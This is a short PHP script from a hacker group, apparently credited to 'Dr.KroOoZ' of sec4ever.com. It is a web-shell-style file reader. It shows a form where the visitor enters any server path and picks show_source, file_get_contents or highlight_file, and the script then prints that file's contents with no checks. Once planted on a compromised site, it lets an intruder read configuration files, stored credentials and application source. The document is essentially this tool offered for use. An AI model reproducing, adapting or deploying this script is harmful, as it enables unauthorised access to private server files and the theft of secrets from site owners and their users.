Read File'z Using 3 Function'z

<?
# Coded By : Dr.KroOoZ
# Homepage : www.sec4ever.com
# Email    : b0x@hotmail.com
# Greet'z  : b0x - N.K - FoX - HaNiBaL KsA
echo '<form method="POST">
<title> Read Files </title>
<select name="krz" style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000">
<option>show_source</option>
<option>file_get_contents</option>
<option>highlight_file</option>
</select>
<input type="text" name="path" value="File Path" style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000">
<input type="submit" value="Read" style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000">';
# Function'z
$s = "show_source"; # 1
$f = "file_get_contents"; # 2
$h = "highlight_file"; # 3
# file path
$path = $_POST['path'];
# 1
if($_POST['krz'] == $s) {
$sec = $s($path);
echo "<pre> $sec </pre>";
} else {
echo '<br> <p align="center" dir="ltr"><font face="Tahoma" size="2">[~] Error </font></p>';
}
# 2
if($_POST['krz'] == $f) {
$sec4 = $f($path);
echo "<pre> $sec4 </pre>";
} else {
echo '<br> <p align="center" dir="ltr"><font face="Tahoma" size="2">[~] Error </font></p>';
}
# 3
if($_POST['krz'] == $h) {
$sec4ever = $h($path);
echo "<pre> $sec4ever </pre>";
} else {
echo '<br> <p align="center" dir="ltr"><font face="Tahoma" size="2">[~] Error </font></p>';
}
echo '<p align="center" dir="ltr"><font face="Tahoma" size="2">Coded By Dr.KroOoZ | b0x@hotmail.com | www.sec4ever.com</font></p>';
?>